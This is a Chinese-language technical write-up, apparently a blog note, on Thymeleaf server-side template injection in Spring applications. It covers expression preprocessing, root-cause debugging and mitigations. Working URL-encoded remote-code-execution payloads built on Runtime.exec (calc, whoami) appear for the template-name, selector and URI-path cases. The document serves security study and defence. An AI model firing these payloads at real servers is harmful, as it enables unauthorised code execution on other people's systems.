thymeleaf-ssti
基础知识
- 变量表达式:
${...} - 选择变量表达式:
*{...} - 消息表达:
#{...} - 链接 URL 表达式:
@{...} - 片段表达式:
~{...}
只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样
#{}用来读取配置文件中的数据(通常是.properties文件)
片段表达式~{...}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<div th:insert="~{footer :: copy}"></div>- **
{templatename::selector}**,会在{footer :: copy}`/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的` - **~{templatename}**,引用整个
templatename模版文件作为fragment - **~{::selector} 或 ~{this::selector}**,引用来自同一模版文件名为
selector的fragmnt
预处理
语法:__${expression}__
官方文档对其的解释:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__)包围。

漏洞复现
我这里使用 spring-view-manipulation 项目来做漏洞复现。
templatename (有返回值的情况)
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}要有返回值的路由才能获取ModelAndView对象
POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x事实上因为最后都会拼接"/welcome",所以下面这样即可
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::漏洞原理
当视图名中包含::会执行下面的代码。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");在StandardExpressionParser#parseExpression中会通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容,获取expression并执行execute方法。
最后通过SPEL执行表达式
所以__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__就没有问题,然后在语句前或后加上::即可
但这里要注意若是执行像calc这样的命令,::的位置确实是无关紧要,但若是要执行whoami这样有回显的命令的话,::必须要放在语句的后面,具体原因往下看
然后在renderFragment渲染的过程中,存在如下代码。
- 当TemplateName中不包含
::则将viewTemplateName赋值给templateName。 - 如果包含
::则代表是一个片段表达式,则需要解析templateName和markupSelectors。
当viewTemplateName为welcome :: header则会将welcome解析为templateName,将header解析为markupSelectors。
根据调试会知道最后会会显的是templateName,所以::必须要放在语句的后面


0x02 selector
Contorller :可控点变为了selector位置
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}已经设置好了 ::的位置
POC
若是calc的话直接即可,不需要::和.
fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__若是需要回显的话
要使用.或/结尾才能回显出报错页面看到结果
fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__.URI PATH (无返回值的情况)
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}按理说没有返回值ModelAndView应该为空,但实际上DispatcherServlet#doDispatch中,获取ModleAndView后还会执行applyDefaultViewName方法
applyDefaultViewName中判断当ModelAndView为空,则通过getDefaultViewName
获取请求路径作为ViewName
POC
有回显
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::x.x若是执行calc这种
只需要一个.即可
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.无回显payload情况
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x在StandardExpressionParser#parseExpression,在preprocess预处理结束后还会通过Expression.parse进行一次解析,这里如果解析失败则不会回显。
下断点可以看到::后没有内容,因此这里肯定是会失败的
但是我们在错误POC中也设置了::.x为什么会被去掉呢?
transformPath中通过stripFilenameExtension去除后缀,是这部分导致了.x后内容为空。
因此我们只需要在.之前加入任意数据即可


漏洞修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}通过redirect:
根据springboot定义,如果名称以
redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
声明下 这种方式只对返回值为空的情况下有效,对有返回值的情况没有作用
finally
上文所述的回显原理以及预处理表达式的相关问题同样适用于 2.x 版本
其实也就懂了一点分析流程,对于那些具体的templateName和selector仍然是没有理解,唉。。。
分析流程看参考文章里的吧,自己也不知道怎么写
reference
https://www.anquanke.com/post/id/254519
https://www.cnpanda.net/sec/1063.html
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/